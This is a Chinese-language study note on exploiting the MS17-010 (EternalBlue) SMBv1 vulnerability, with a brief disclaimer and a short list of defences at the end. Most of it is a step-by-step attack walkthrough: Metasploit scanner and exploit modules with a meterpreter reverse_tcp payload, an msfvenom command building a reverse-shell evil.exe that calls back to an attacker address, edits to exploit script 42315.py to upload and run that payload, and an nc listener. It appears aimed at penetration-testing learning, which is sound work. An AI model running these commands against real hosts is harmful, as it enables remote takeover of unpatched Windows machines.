漏洞学习之:MS17-010
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
漏洞学习之:MS17-010
MS17-010 漏洞通过向主机的 SMBv1 服务发送恶意命令造成举出,最终导致任意命令执行。在 Windows 系统中 SMB 服务默认是开启的,监听端口默认为 445。影响的系统版本有 Windows NT–WinServer 2012。
利用前提:目标主机关闭了防火墙
1 利用 MSF 复现 MS17-010 漏洞
-
查看 MSF 中关于 MS17-010 漏洞的模块
search ms17-010
-
使用
auxiliary/scanner/smb/smb_ms17_010
模块进行漏洞检测use auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.0.0/24 set threads 50 run
-
使用
exploit/windows/smb/ms17_010_eternalblue
模块进行漏洞利用use exploit/windows/smb/ms17_010_eternalblue set rhosts 192.168.0.19 set payload windows/x64/meterpreter/reverse_tcp run
2 利用 MS17-010 攻击脚本复现漏洞
-
查看存在 MS17-010 漏洞的主机
nmap -A -p 445 --script vuln 192.168.0.19
-
查找可利用的攻击脚本
searchsploit ms17-010
-
选择
windows/remote/42315.py
攻击脚本进行复现 -
生成反弹 shell 的恶意程序
msfvenom lhost=192.168.0.2 lport=4444 -f exe --platform windows -p windows/shell_reverse_tcp > evil.exe
-
修改 42315.py 脚本内容如下:
# 目标主机账户名称:administrator USERNAME = 'administrator' # 目标主机账户密码:Admin123 PASSWORD = 'Admin123'
-
执行查看目标主机的 C 盘是否存在
pwned.txt
文档,如果存在,说明可以正常利用该攻击脚本 -
若执行脚本报错如下:则说明缺少 mysmb 模块
└─# python 42315.py 192.168.0.19 Traceback (most recent call last): File "42315.py", line 3, in <module> from mysmb import MYSMB ImportError: No module named mysmb # 解决方案: git clone https://github.com/worawit/MS17-010 并将 42315.py 脚本也移动到该目录下,再执行
-
修改 42315.py 脚本的 Payload,以便返弹 shell
def smb_pwn(conn, arch): smbConn = conn.get_smbconnection() # print('creating file c:\\pwned.txt on the target') # tid2 = smbConn.connectTree('C$') # fid2 = smbConn.createFile(tid2, '/pwned.txt') # smbConn.closeFile(tid2, fid2) # smbConn.disconnectTree(tid2) smb_send_file(smbConn, '要上传文件的完整路径', '上传的盘符位置', '/上传的文件名') service_exec(conn, r'cmd /c c:\\上传的文件名') # Note: there are many methods to get shell over SMB admin session # a simple method to get shell (but easily to be detected by AV) is # executing binary generated by "msfvenom -f exe-service ..."
-
本地配置监听反弹 shell 链接
nc -nvlp 4444
-
执行攻击脚本并确认建立反弹 shell 链接
3 防御 EternalBlue 方法
- 禁用 SMBv1 协议
- 打开 Windows Update,或者手动安装 KB2919355
- 使用防火墙阻止 445 端口的连接,或通过进/出站规则阻止 445 端口
- 安装杀毒软件